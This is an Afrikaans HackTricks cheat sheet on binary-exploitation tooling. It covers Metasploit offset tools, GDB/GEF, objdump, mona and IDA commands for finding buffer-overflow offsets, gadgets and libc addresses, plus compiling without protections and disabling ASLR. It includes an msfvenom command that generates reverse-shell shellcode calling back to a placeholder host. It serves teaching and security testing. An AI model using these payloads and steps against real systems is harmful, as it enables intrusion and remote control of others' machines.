Exploiting Tools

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!

• Kry die amptelike PEASS & HackTricks swag

• Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's

• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellkodes

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

Installeer

apt-get install gdb

Parameters

Parameters

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

Instruksies

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF

Jy kan opsioneel hierdie fork van GEF gebruik wat meer interessante instruksies bevat.

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Sluike truuks

GDB dieselfde adresse

Tydens die foutopsporing sal GDB effens verskillende adresse hê as wat deur die binêre lêer gebruik word wanneer dit uitgevoer word. Jy kan GDB hê om dieselfde adresse te hê deur die volgende te doen:

• unset env LINES

• unset env COLUMNS

• set env _=<pad> Plaas die absolute pad na die binêre lêer

• Exploiteer die binêre lêer met dieselfde absolute roete

• PWD en OLDPWD moet dieselfde wees wanneer GDB gebruik word en wanneer die binêre lêer geëxploiteer word

Terugvoer om opgeroep word funksies te vind

Wanneer jy 'n staties gekoppelde binêre lêer het, sal al die funksies behoort aan die binêre lêer (en nie aan eksterne biblioteke nie). In hierdie geval sal dit moeilik wees om die vloei wat die binêre lêer volg om byvoorbeeld vir gebruikersinvoer te vra te identifiseer. Jy kan hierdie vloei maklik identifiseer deur die binêre lêer met gdb te hardloop totdat jy vir insette gevra word. Stop dit dan met CTRL+C en gebruik die bt (backtrace) bevel om die opgeroep funksies te sien:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB-bediener

gdbserver --multi 0.0.0.0:23947 (in IDA moet jy die absolute pad van die uitvoerbare lêer in die Linux-masjien en in die Windows-masjien invul)

Ghidra

Vind stokverskuiwing

Ghidra is baie nuttig om die verskuiwing vir 'n buffer-oorvloei te vind danksy die inligting oor die posisie van die plaaslike veranderlikes. Byvoorbeeld, in die voorbeeld hieronder, dui 'n buffer-vloei in local_bc daarop dat jy 'n verskuiwing van 0xbc benodig. Verder, as local_10 'n kanariekoekie is, dui dit daarop dat daar 'n verskuiwing van 0xac is om dit vanaf local_bc te oorskryf. Onthou dat die eerste 0x08 waar die RIP gestoor word, aan die RBP behoort.

qtool

qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog

Kry elke opcode wat uitgevoer word in die program.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Kompileer sonder beskerming -o --> Uitset -g --> Berg kode op (GDB sal dit kan sien) echo 0 > /proc/sys/kernel/randomize_va_space --> Om die ASLR in Linux af te skakel

Om 'n shellcode te kompileer: nasm -f elf assembly.asm --> gee 'n ".o" ld assembly.o -o shellcodeout --> Uitvoerbaar

Objdump

-d --> Ontbind uitvoerbare afdelings (sien opcodes van 'n gekompileerde shellcode, vind ROP Gadgets, vind funksie-adres...) -Mintel --> Intel sintaksis -t --> Simbole tabel -D --> Ontbind alles (adres van statiese veranderlike) -s -j .dtors --> dtors afdeling -s -j .got --> got afdeling -D -s -j .plt --> plt afdeling ontbin -TR --> Herlokasies ojdump -t --dynamic-relo ./exec | grep puts --> Adres van "puts" om te wysig in GOT objdump -D ./exec | grep "VAR_NAME" --> Adres van 'n statiese veranderlike (hierdie word gestoor in DATA afdeling).

Core dumps

1. Voer ulimit -c unlimited uit voordat ek my program begin

2. Voer sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t uit

3. sudo gdb --core=<path/core> --quiet

Meer

ldd executable | grep libc.so.6 --> Adres (as ASLR, verander dit dan elke keer) for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Lus om te sien of die adres baie verander readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Verskuiwing van "system" strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Verskuiwing van "/bin/sh"

strace executable --> Funksies wat deur die uitvoerbare aangeroep word rabin2 -i ejecutable --> Adres van al die funksies

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Debugging in afgeleë Linux

Binne die IDA-vouer kan jy bineêre lêers vind wat gebruik kan word om 'n bineêre lêer binne 'n Linux-stelsel te ontleed. Om dit te doen, skuif die bineêre lêer linux_server of linux_server64 na die Linux-bediener en hardloop dit binne die vouer wat die bineêre lêer bevat:

./linux_server64 -Ppass

Dan, stel die debugger op: Debugger (linux remote) --> Proses opsies...:

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!

• Kry die amptelike PEASS & HackTricks swag

• Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.